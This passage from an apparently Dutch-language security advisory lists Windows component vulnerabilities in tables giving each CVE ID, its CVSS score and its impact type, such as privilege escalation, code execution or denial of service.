beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: 